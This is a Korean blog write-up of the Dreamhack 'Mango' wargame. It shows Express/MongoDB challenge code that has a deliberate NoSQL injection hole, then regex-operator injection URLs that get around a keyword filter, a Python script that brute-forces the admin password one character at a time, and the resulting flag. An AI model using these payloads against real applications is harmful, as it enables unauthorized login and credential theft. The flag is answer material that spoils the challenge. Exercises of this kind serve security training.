보안 스터디/웹 해킹

[드림핵/워게임] Mango (웹 해킹)

성밍쟁 2024. 1. 12. 00:23
728x90
반응형

문제

 

문제 코드

const express = require('express');
const app = express();

const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

app.get('/', function(req, res) {
    res.send('/login?uid=guest&upw=guest');
});

app.listen(8000, '0.0.0.0');
{
  "name": "Web-C",
  "version": "1.0.0",
  "description": "Web-C",
  "main": "main.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "dependencies": {
    "express": "^4.17.1",
    "express-session": "^1.17.0",
    "mongoose": "^5.10.4"
  }
}

 

 

 

코드 해석

const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;

대충 mongo db를 생성하고 연결하는 느낌인 것 같다.

 

const BAN = ['admin', 'dh', 'admi'];

이름에서부터 금지단어라고 느껴지는 것 같다. admin이나 dh, admi 는 문제를 풀 때 바로 나올까봐 금지 시킨 것 같다.

 

app.get('/', function(req, res) {
    res.send('/login?uid=guest&upw=guest');
});

/ 링크로 들어갔을 때(GET요청), send안에 있는 함수를 보내준다. 

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

BAN 내부에 있는 단어가 존재하는지 확인하고 flag 의 True/False 여부를 return한다

 

 

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

/login 창에 들어가게 되면

db collection을 보면 uid 와 upw 를 db에서 찾고, 에러발생시  에러, 있으면 uid를 결과값으로 내보내고, 없으면 undefined 를 내보내는 문제이다.

 

일단 그냥 /로 들어가게 되면

 

이 창이 뜬다.

 

 

풀이전략

일단, 혼자서는 못풀겠어서;; 드림핵 문제 풀이과정을 좀 봤다.

http://host1.dreamhack.games:13698/login?uid=guest&upw[$regex]=.*

이런식으로 upw[$regex] = .*를 이용할 수가 있다.

뒤에 비번이 뭐든 간에 아이디가 guest 면 다 불러올 수 있다.

이제 문제는 id 부분에 admin 을 넣으면 admin으로 로그인이 될텐데... admin이 filter 로 막혀있다.

그것을 해결하기 위해서  admin 대신에 ad.in 을 넣는다.

http://host1.dreamhack.games:13698/login?uid[$regex]=ad.in&upw[$regex]=.*

 

저거를 반복하기 위해서

파이썬 스크립트 코드를 짜준 것을 보면

import requests, string

HOST = 'http://host3.dreamhack.games:16336'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'

flag = ''
for i in range(32):
    for ch in ALPHANUMERIC:
        response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
        if response.text == SUCCESS:
            flag += ch
            break
    print(f'FLAG: DH{{{flag}}}')

a = input();
print(a);

HOST 부분에 포트번호를 입력하고..

flag 부분에 이제 하나씩 추가가 되는 형식이다.

그렇게 나온 flag 는

FLAG: DH{89e50fa6fafe2604e33c0ba05843d3df}

이다.

 

 

에필로그

개념은 이해가 가는데 저걸 내가 코드로 짤 수 있을까가 걱정이다.

 

728x90
반응형